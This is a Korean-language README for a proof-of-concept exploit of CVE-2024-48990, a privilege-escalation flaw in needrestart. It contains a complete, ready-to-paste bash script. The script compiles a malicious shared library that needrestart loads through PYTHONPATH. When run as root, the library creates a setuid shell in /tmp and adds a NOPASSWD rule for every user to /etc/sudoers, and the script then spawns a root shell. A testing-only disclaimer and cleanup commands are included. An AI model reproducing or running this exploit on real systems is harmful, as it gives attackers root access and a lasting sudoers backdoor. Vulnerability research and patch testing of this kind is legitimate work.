
사용 사례를 위한 POC 테스트
이 저장소는 needrestart 프로그램의 취약점을 시연하기 위한 개념 증명(PoC) 을 포함하고 있습니다. 이 프로그램은 Python의 경로를 올바르게 설정하지 못하여 잠재적인 권한 상승으로 이어질 수 있습니다. 이 PoC는 이 결함을 악용하여 상승된 권한을 얻을 수 있는 잠재적 경로를 강조합니다.
CVE-2024-48990 취약점은 needrestart 패키지 내에 존재합니다. 구체적으로, 이 취약점은 Python의 경로를 올바르게 설정하지 않으며, 특정 작업에 의해 트리거될 때 권한 상승에 악용될 수 있습니다.
이 PoC는 악성 공유 라이브러리가 Python을 통해 로드되어 시스템 설정을 조작하고 상승된 권한을 획득하는 시나리오를 시뮬레이션합니다. 테스트 목적으로만 통제되고 안전한 환경에서 사용하십시오.
취약한지 확인하려면 다음을 실행하십시오:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
테스트할 취약한 버전을 원한다면 다음을 실행하십시오:
sudo apt install needrestart=3.7-3
취약점을 트리거하려면 리스너 스크립트를 실행하는 동안 다음을 실행하십시오:
sudo apt remove ntp; sudo apt install ntp
이 명령은 패키지(이 경우 ntp)를 설치하여 needrestart 문제가 트리거되도록 합니다. 그러나 이상적으로는 시스템의 다른 사용자가 업데이트를 실행하거나 sudo apt update와 같이 needrestart를 트리거하는 작업을 수행할 때까지 기다리는 것이 좋습니다.
PoC를 설정하고 취약점을 트리거하려면 다음 스크립트를 실행하십시오. 전체 스크립트를 그대로 터미널에 복사하여 붙여넣고 기다리거나, 위에서 ntp로 보여준 것처럼 수동으로 트리거할 수 있습니다. 또한 이 스크립트는 시연을 위해 모든 사용자의 sudo 경로에 바이너리를 추가합니다. 실제로는 사용자 자신의 sudo에 모든 경로가 추가되도록 만들 수 있지만, 저는 둘 다 보여주고 싶었습니다:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
테스트 파일을 정리하고 sudoers에서 자신을 제거하려면 상승된 프롬프트에서 다음을 실행할 수 있습니다:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart 패키지 설치 (또는 트리거를 위해 제거 후 재설치)이 PoC는 테스트 목적으로만 사용해야 하며 프로덕션 환경에서 사용해서는 안 됩니다. 승인되지 않은 환경에서 이 취약점을 악용하는 것은 불법일 수 있습니다. 보안 테스트를 수행하기 전에 항상 명시적인 허가를 받으십시오.
즐거운 테스트 되세요! 🧪🚀